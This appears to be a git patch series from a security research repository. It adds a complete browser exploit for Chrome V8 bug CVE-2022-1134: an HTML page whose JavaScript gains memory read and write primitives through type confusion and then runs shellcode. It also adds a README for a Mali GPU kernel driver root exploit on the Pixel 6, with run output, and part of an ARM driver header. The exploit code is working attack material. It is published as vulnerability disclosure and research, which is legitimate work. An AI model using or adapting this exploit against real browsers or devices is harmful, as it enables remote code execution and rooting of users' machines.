+++ b/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md
@@ -0,0 +1,29 @@
+#Chrome renderer RCE CVE-2022-1134
+
+The write up can be found [here](https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/). This is a bug in the v8 that I reported in March 2022. This bug allows RCE in the Chrome renderer sandbox by simply visiting a malicious website.
+
+The exploit is tested with the Linux official build of Chrome version `99.0.4844.84` with the following revision (this can be checked from `chrome://version`):
+
+```
+Chromium	99.0.4844.84 (Official Build) (64-bit) 
+Revision	81a11fc2ee8a41e17451f29195387f276d3bb379-refs/branch-heads/4844_74@{#6}
+```
+
+For reference, the tested binary is compiled with the following flags, following the instructions to compile Chrome [here](https://chromium.googlesource.com/chromium/src/+/main/docs/linux/build_instructions.md):
+
+```
+is_debug = false
+symbol_level = 2
+blink_symbol_level = 2
+dcheck_always_on = false
+is_official_build = true
+chrome_pgo_phase = 0
+```
+
+To test, host the file `superic_rce.html` and then open it in Chrome with the `--no-sandbox` flag:
+
+```
+./chrome --user-data-dir=/tmp/chromium_data --no-sandbox
+```
+
+If successful, it'll pop `xcalc` instantly (on Ubuntu). The exploit should be very reliable and I've not experience any failure with it.
diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html b/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html
new file mode 100644
index 0000000..7cc7805
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html
@@ -0,0 +1,232 @@
+<html>
+  <script>
+
+    var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
+    var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5];
+
+    var wasmMemoryProtectionKeysOffset = 0x34a086n;
+
+    var loopCount = 0x10;
+    var view = new ArrayBuffer(24);
+    var dblArr = new Float64Array(view);
+    var intView = new Int32Array(view);
+    var bigIntView = new BigInt64Array(view);
+    var flArr = new Float32Array(view);
+
+    var decoderBufferOffset = 0x8;
+
+    function f32toi(f) {
+      flArr[0] = f;
+      return intView[0];
+    }
+
+    function ftoi32(f) {
+      dblArr[0] = f;
+      return [intView[0], intView[1]];
+    }
+
+    function i32tof(i1, i2) {
+      intView[0] = i1;
+      intView[1] = i2;
+      return dblArr[0];
+    }
+
+    function itof(i) {
+      bigIntView[0] = i;
+      return dblArr[0];
+    }
+
+    function ftoi(f) {
+      dblArr[0] = f;
+      return bigIntView[0];
+    }
+
+    function i32toi(i_lo, i_hi) {
+      intView[0] = i_lo;
+      intView[1] = i_hi;
+      return bigIntView[0];
+    }
+
+    class SubAudioData extends AudioData {
+      constructor(addr) {
+        let input = audioDataInput;
+        input.timestamp = addr;
+        super(input);
+      }
+        
+      getFakeObj() {
+        return super.signal;
+      }
+    }
+
+    class SubMatrix extends DOMMatrix {
+      constructor(addr) {
+        let input = matrixInput;
+        input[10] = itof(BigInt(addr - 0x18));
+        super(input);
+      }
+
+      readContent() {
+        return super.interval;
+      }
+    }
+
+    var height = 4;
+    var width = 3;
+
+    class SubImg extends ImageData {
+      constructor(imgData) {
+        super(imgData, height,width);
+      }
+        
+      getAddr() {
+        return super.m21;
+      }
+    }
+
+    var audioBufferInput = {length: 30000, sampleRate: 4000};
+    var audioDataInput = {format: "u8", sampleRate: 4000, numberOfFrames: 100, numberOfChannels: 1, timestamp: 0, data : new Int8Array(100)};
+    //matrix memory layout: m12 = matrix_[0][1], m21 = matrix_[1][0] ... double arrays
+    var matrixInput = [11,12,13,14,21,22,23,24,31,32,33,34,41,42,43,44];
+
+    var domMatrixImg = new DOMMatrix(matrixInput);
+
+    var audioData = new AudioData(audioDataInput);
+
+    var req = new Request({});
+
+    var motionEvent = new DeviceMotionEvent({});
+
+    function leakImageAddr(i) {
+      domMatrixImg['a' + i] = 1;
+      if (i < loopCount) {
+        SubImg.prototype.__proto__ = {};
+      } else {
+        SubImg.prototype.__proto__ = domMatrixImg;
+      }
+      domMatrixImg.m21;
+      let addr = img.getAddr();
+      return Number(ftoi(addr));
+    }
+
+    function readFrom(i, subMatrix) {
+      motionEvent['a' + i] = 1;
+      if (i < loopCount) {
+        SubMatrix.prototype.__proto__ = {};
+      } else {
+        SubMatrix.prototype.__proto__ = motionEvent;
+      }
+      motionEvent.interval;
+      let addr = subMatrix.readContent();
+      return addr;
+    }
+
+    function createFakeObj(i, addr) {
+      req['a' + i] = 1;
+      if (i < loopCount) {
+        SubAudioData.prototype.__proto__ = {};
+      } else {
+        SubAudioData.prototype.__proto__ = req;
+      }
+      req.signal;
+      return subAudio.getFakeObj();
+    }
+
+    function addrOf(obj) {
+      objArr[0] = obj;
+      return ftoi32(fakeDblArr[5])[0];
+    }
+
+    function compressedRead(addr) {
+      doubleArr[1] = i32tof(addr - 0x8, 0x1000);
+      let out = fakeDblArr[0];
+      doubleArr[1] = doubleArrDefault;
+      return out;
+    }
+
+    function compressedWrite(addr, value) {
+      doubleArr[1] = i32tof(addr - 0x8, 0x1000);
+      fakeDblArr[0] = value;
+      doubleArr[1] = doubleArrDefault;
+    }
+
+    var imgDataStore = new ArrayBuffer(48);
+    var imgData = new Uint8ClampedArray(imgDataStore);
+    var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
+    var objArr = [imgData];
+
+    var img = new SubImg(imgData);
+
+    for (let i = 0; i < loopCount; i++) {
+      leakImageAddr(i);
+    }
+
+    let imgAddr = leakImageAddr(loopCount);
+
+    let mainWorldMatrix = new SubMatrix(imgAddr + 0x8);
+
+    for (let i = 0; i < loopCount; i++) {
+      readFrom(i, mainWorldMatrix);
+    }
+
+    let mainWorldWrapper = Number(ftoi(readFrom(loopCount, mainWorldMatrix)));
+
+    let wrapperMatrix = new SubMatrix(imgAddr);
+
+    let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
+
+    let v8AddrMatrix = new SubMatrix(mainWorldWrapper);
+
+    let v8TypedArrayAddr = Number(ftoi(readFrom(loopCount, v8AddrMatrix)));
+
+    let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
+    let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];
+
+    let fakeWrapper64View = new BigInt64Array(imgDataStore);
+    fakeWrapper64View[0] = BigInt(v8TypedArrayAddr + 0x50);
+
+    var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
+    var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);
+
+    //map + properties
+    doubleArr[0] = i32tof(doubleMap, 0x8002249);
+    //elements + length
+    doubleArr[1] = doubleArrDefault;
+    doubleArr[2] = i32tof(0x8002249, 0x1000);
+    doubleArr[3] = 1.1;
+
+    //Add 0x8 to skip vtable, so that the fake main_world_wrapper_ points to the address of the datastore
+    var subAudio = new SubAudioData(imgAddr + 0x8);
+
+    for (let i = 0; i < loopCount; i++) {
+      createFakeObj(i);
+    }
+    var fakeDblArr = createFakeObj(loopCount);
+
+    var shellArray = new Uint8Array(100);
+    shellArray.fill(0x41);
+
+    var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
+    var shellArrayAddr = addrOf(shellArray);
+
+    compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
+    for (let i = 0; i < 8; i++) {
+      shellArray[i] = 0;
+    }
+
+    var module = new WebAssembly.Module(code);
+    var instance = new WebAssembly.Instance(module);
+    var wasmMain = instance.exports.main;
+
+    var instanceAddr = addrOf(instance);
+    var wasmRWX = compressedRead(instanceAddr + 0x60);
+
+    compressedWrite(shellArrayAddr + 0x2c, wasmRWX);
+    for (let i = 0; i < shellCode.length; i++) {
+      shellArray[i] = shellCode[i];
+    }
+    wasmMain();
+  </script>
+  <body>
+  </body>
+</html>

From 0aaf240ef611edcec34631276f4de9fe84cb4f0f Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 29 Jun 2022 16:10:31 +0100
Subject: [PATCH 091/104] Fix link

---
 .../Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/README.md          | 0
 .../Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/superic_rce.html   | 0
 2 files changed, 0 insertions(+), 0 deletions(-)
 rename SecurityExploits/Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/README.md (100%)
 rename SecurityExploits/Chrome/v8/{CVE-2022-1134 => CVE_2022_1134}/superic_rce.html (100%)

diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md b/SecurityExploits/Chrome/v8/CVE_2022_1134/README.md
similarity index 100%
rename from SecurityExploits/Chrome/v8/CVE-2022-1134/README.md
rename to SecurityExploits/Chrome/v8/CVE_2022_1134/README.md
diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html b/SecurityExploits/Chrome/v8/CVE_2022_1134/superic_rce.html
similarity index 100%
rename from SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html
rename to SecurityExploits/Chrome/v8/CVE_2022_1134/superic_rce.html

From a7a5c6e4d18ba4b9f106866a67801eaf498d7bec Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 27 Jul 2022 14:39:12 +0100
Subject: [PATCH 092/104] Blog resources

---
 .../Android/Mali/CVE_2022_20186/README.md     |   36 +
 .../Android/Mali/CVE_2022_20186/mali.h        | 1037 ++++++++++++++
 .../Android/Mali/CVE_2022_20186/mali_alias.c  |  501 +++++++
 .../Mali/CVE_2022_20186/mali_base_jm_kernel.h | 1202 +++++++++++++++++
 .../Android/Mali/CVE_2022_20186/midgard.h     |  260 ++++
 5 files changed, 3036 insertions(+)
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/README.md
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/mali.h
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h

diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md
new file mode 100644
index 0000000..ed6098b
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md
@@ -0,0 +1,36 @@
+## Exploit for CVE-2022-20186
+
+The write up can be found [here](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/). This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Google Pixel 6 and supports patch levels from Novmember 2021 to Feburary 2022. It is easy to add support for other firmware by changing a few image offsets. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
+```
+
+The exploit rarely fails and can be retry without crashing the device. If successful, it should disable SELinux and gain root.
+
+```
+oriole:/ $ /data/local/tmp/mali_alias                                                                                             
+fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
+tracking page 0x6ff794e000
+drain 0x6d5b200000
+gpu_va[0] 6ff6698000
+gpu_va[1] 6ff6695000
+alias 0x6ff6693000
+overwrite addr : 6ff370051c 51c
+overwrite addr : 6de310051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+result 50
+overwrite addr : 6ff370051c 51c
+overwrite addr : 6de310051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+result 50
+oriole:/ # 
+```
diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h b/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h
new file mode 100644
index 0000000..814d667
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h
@@ -0,0 +1,1037 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_KBASE_JM_IOCTL_H_
+#define _UAPI_KBASE_JM_IOCTL_H_
+
+#include <sys/ioctl.h>
+#include <linux/types.h>
+
+/*
+ * 11.1:
+ * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags
+ * 11.2:
+ * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED,
+ *   which some user-side clients prior to 11.2 might fault if they received
+ *   them
+ * 11.3:
+ * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and
+ *   KBASE_IOCTL_STICKY_RESOURCE_UNMAP
+ * 11.4:
+ * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET
+ * 11.5:
+ * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD)
+ * 11.6:
+ * - Added flags field to base_jit_alloc_info structure, which can be used to
+ *   specify pseudo chunked tiler alignment for JIT allocations.
+ * 11.7:
+ * - Removed UMP support
+ * 11.8:
+ * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags
+ * 11.9:
+ * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY
+ *   under base_mem_alloc_flags
+ * 11.10:
+ * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for
+ *   JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations
+ *   with one softjob.
+ * 11.11:
+ * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags
+ * 11.12:
+ * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS
+ * 11.13:
+ * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT
+ * 11.14:
+ * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set
+ *   under base_mem_alloc_flags
+ * 11.15:
+ * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags.
+ * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be
+ *   passed to mmap().
+ * 11.16:
+ * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf.
+ * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for
+ *   dma-buf. Now, buffers are mapped on GPU when first imported, no longer
+ *   requiring external resource or sticky resource tracking. UNLESS,
+ *   CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled.
+ * 11.17:
+ * - Added BASE_JD_REQ_JOB_SLOT.
+ * - Reused padding field in base_jd_atom_v2 to pass job slot number.
+ * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO
+ * 11.18:
+ * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags
+ * 11.19:
+ * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified.
+ * 11.20:
+ * - Added new phys_pages member to kbase_ioctl_mem_jit_init for
+ *   KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2
+ *   (replacing '_OLD') and _11_5 suffixes
+ * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in
+ *   base_jd_atom_v2. It must currently be initialized to zero.
+ * - Added heap_info_gpu_addr to base_jit_alloc_info, and
+ *   BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's
+ *   flags member. Previous variants of this structure are kept and given _10_2
+ *   and _11_5 suffixes.
+ * - The above changes are checked for safe values in usual builds
+ * 11.21:
+ * - v2.0 of mali_trace debugfs file, which now versions the file separately
+ * 11.22:
+ * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2.
+ *   KBASE_IOCTL_JOB_SUBMIT supports both in parallel.
+ * 11.23:
+ * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify
+ *   the physical memory backing of JIT allocations. This was not supposed
+ *   to be a valid use case, but it was allowed by the previous implementation.
+ * 11.24:
+ * - Added a sysfs file 'serialize_jobs' inside a new sub-directory
+ *   'scheduling'.
+ * 11.25:
+ * - Enabled JIT pressure limit in base/kbase by default
+ * 11.26
+ * - Added kinstr_jm API
+ * 11.27
+ * - Backwards compatible extension to HWC ioctl.
+ * 11.28:
+ * - Added kernel side cache ops needed hint
+ * 11.29:
+ * - Reserve ioctl 52
+ * 11.30:
+ * - Add a new priority level BASE_JD_PRIO_REALTIME
+ * - Add ioctl 54: This controls the priority setting.
+ * 11.31:
+ * - Added BASE_JD_REQ_LIMITED_CORE_MASK.
+ * - Added ioctl 55: set_limited_core_count.
+ */
+#define BASE_UK_VERSION_MAJOR 11
+#define BASE_UK_VERSION_MINOR 31
+
+/**
+ * struct kbase_ioctl_version_check - Check version compatibility between
+ * kernel and userspace
+ *
+ * @major: Major version number
+ * @minor: Minor version number
+ */
+struct kbase_ioctl_version_check {
+	__u16 major;
+	__u16 minor;
+};
+
+#define KBASE_IOCTL_VERSION_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
+
+
+/**
+ * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel
+ *
+ * @addr: Memory address of an array of struct base_jd_atom_v2 or v3
+ * @nr_atoms: Number of entries in the array
+ * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom)
+ */
+struct kbase_ioctl_job_submit {
+	__u64 addr;
+	__u32 nr_atoms;
+	__u32 stride;
+};
+
+#define KBASE_IOCTL_JOB_SUBMIT \
+	_IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit)
+
+#define KBASE_IOCTL_POST_TERM \
+	_IO(KBASE_IOCTL_TYPE, 4)
+
+/**
+ * struct kbase_ioctl_soft_event_update - Update the status of a soft-event
+ * @event: GPU address of the event which has been updated
+ * @new_status: The new status to set
+ * @flags: Flags for future expansion
+ */
+struct kbase_ioctl_soft_event_update {
+	__u64 event;
+	__u32 new_status;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_SOFT_EVENT_UPDATE \
+	_IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update)
+
+/**
+ * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for
+ * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the
+ * kernel
+ *
+ * @size:    The size of the `struct kbase_kinstr_jm_atom_state_change`
+ * @version: Represents a breaking change in the
+ *           `struct kbase_kinstr_jm_atom_state_change`
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ *
+ * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the
+ * end of the structure that older user space might not understand. If the
+ * `version` is the same, the structure is still compatible with newer kernels.
+ * The `size` can be used to cast the opaque memory returned from the kernel.
+ */
+struct kbase_kinstr_jm_fd_out {
+	__u16 size;
+	__u8 version;
+	__u8 padding[5];
+};
+
+/**
+ * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor
+ *
+ * @count: Number of atom states that can be stored in the kernel circular
+ *         buffer. Must be a power of two
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ */
+struct kbase_kinstr_jm_fd_in {
+	__u16 count;
+	__u8 padding[6];
+};
+
+union kbase_kinstr_jm_fd {
+	struct kbase_kinstr_jm_fd_in in;
+	struct kbase_kinstr_jm_fd_out out;
+};
+
+#define KBASE_IOCTL_KINSTR_JM_FD \
+	_IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd)
+
+
+#define KBASE_IOCTL_VERSION_CHECK_RESERVED \
+	_IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)
+
+#define KBASE_IOCTL_TYPE 0x80
+
+/**
+ * struct kbase_ioctl_set_flags - Set kernel context creation flags
+ *
+ * @create_flags: Flags - see base_context_create_flags
+ */
+struct kbase_ioctl_set_flags {
+	__u32 create_flags;
+};
+
+#define KBASE_IOCTL_SET_FLAGS \
+	_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
+
+/**
+ * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel
+ *
+ * @buffer: Pointer to the buffer to store properties into
+ * @size: Size of the buffer
+ * @flags: Flags - must be zero for now
+ *
+ * The ioctl will return the number of bytes stored into @buffer or an error
+ * on failure (e.g. @size is too small). If @size is specified as 0 then no
+ * data will be written but the return value will be the number of bytes needed
+ * for all the properties.
+ *
+ * @flags may be used in the future to request a different format for the
+ * buffer. With @flags == 0 the following format is used.
+ *
+ * The buffer will be filled with pairs of values, a __u32 key identifying the
+ * property followed by the value. The size of the value is identified using
+ * the bottom bits of the key. The value then immediately followed the key and
+ * is tightly packed (there is no padding). All keys and values are
+ * little-endian.
+ *
+ * 00 = __u8
+ * 01 = __u16
+ * 10 = __u32
+ * 11 = __u64
+ */
+struct kbase_ioctl_get_gpuprops {
+	__u64 buffer;
+	__u32 size;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_GET_GPUPROPS \
+	_IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops)
+
+/**
+ * union kbase_ioctl_mem_alloc - Allocate memory on the GPU
+ * @in: Input parameters
+ * @in.va_pages: The number of pages of virtual address space to reserve
+ * @in.commit_pages: The number of physical pages to allocate
+ * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region
+ * @in.flags: Flags
+ * @out: Output parameters
+ * @out.flags: Flags
+ * @out.gpu_va: The GPU virtual address which is allocated
+ */
+union kbase_ioctl_mem_alloc {
+	struct {
+		__u64 va_pages;
+		__u64 commit_pages;
+		__u64 extension;
+		__u64 flags;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALLOC \
+	_IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc)
+
+/**
+ * struct kbase_ioctl_mem_query - Query properties of a GPU memory region
+ * @in: Input parameters
+ * @in.gpu_addr: A GPU address contained within the region
+ * @in.query: The type of query
+ * @out: Output parameters
+ * @out.value: The result of the query
+ *
+ * Use a %KBASE_MEM_QUERY_xxx flag as input for @query.
+ */
+union kbase_ioctl_mem_query {
+	struct {
+		__u64 gpu_addr;
+		__u64 query;
+	} in;
+	struct {
+		__u64 value;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_QUERY \
+	_IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query)
+
+#define KBASE_MEM_QUERY_COMMIT_SIZE	((__u64)1)
+#define KBASE_MEM_QUERY_VA_SIZE		((__u64)2)
+#define KBASE_MEM_QUERY_FLAGS		((__u64)3)
+
+/**
+ * struct kbase_ioctl_mem_free - Free a memory region
+ * @gpu_addr: Handle to the region to free
+ */
+struct kbase_ioctl_mem_free {
+	__u64 gpu_addr;
+};
+
+#define KBASE_IOCTL_MEM_FREE \
+	_IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free)
+
+/**
+ * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader
+ * @buffer_count: requested number of dumping buffers
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ *
+ * A fd is returned from the ioctl if successful, or a negative value on error
+ */
+struct kbase_ioctl_hwcnt_reader_setup {
+	__u32 buffer_count;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_READER_SETUP \
+	_IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup)
+
+/**
+ * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection
+ * @dump_buffer:  GPU address to write counters to
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ */
+struct kbase_ioctl_hwcnt_enable {
+	__u64 dump_buffer;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_ENABLE \
+	_IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable)
+
+#define KBASE_IOCTL_HWCNT_DUMP \
+	_IO(KBASE_IOCTL_TYPE, 10)
+
+#define KBASE_IOCTL_HWCNT_CLEAR \
+	_IO(KBASE_IOCTL_TYPE, 11)
+
+/**
+ * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to.
+ * @data:    Counter samples for the dummy model.
+ * @size:    Size of the counter sample data.
+ * @padding: Padding.
+ */
+struct kbase_ioctl_hwcnt_values {
+	__u64 data;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_HWCNT_SET \
+	_IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values)
+
+/**
+ * struct kbase_ioctl_disjoint_query - Query the disjoint counter
+ * @counter:   A counter of disjoint events in the kernel
+ */
+struct kbase_ioctl_disjoint_query {
+	__u32 counter;
+};
+
+#define KBASE_IOCTL_DISJOINT_QUERY \
+	_IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query)
+
+/**
+ * struct kbase_ioctl_get_ddk_version - Query the kernel version
+ * @version_buffer: Buffer to receive the kernel version string
+ * @size: Size of the buffer
+ * @padding: Padding
+ *
+ * The ioctl will return the number of bytes written into version_buffer
+ * (which includes a NULL byte) or a negative error code
+ *
+ * The ioctl request code has to be _IOW because the data in ioctl struct is
+ * being copied to the kernel, even though the kernel then writes out the
+ * version info to the buffer specified in the ioctl.
+ */
+struct kbase_ioctl_get_ddk_version {
+	__u64 version_buffer;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_GET_DDK_VERSION \
+	_IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 10.2--11.4)
+ * @va_pages: Number of VA pages to reserve for JIT
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_10_2 {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 11.5--11.19)
+ * @va_pages: Number of VA pages to reserve for JIT
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_11_5 {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \
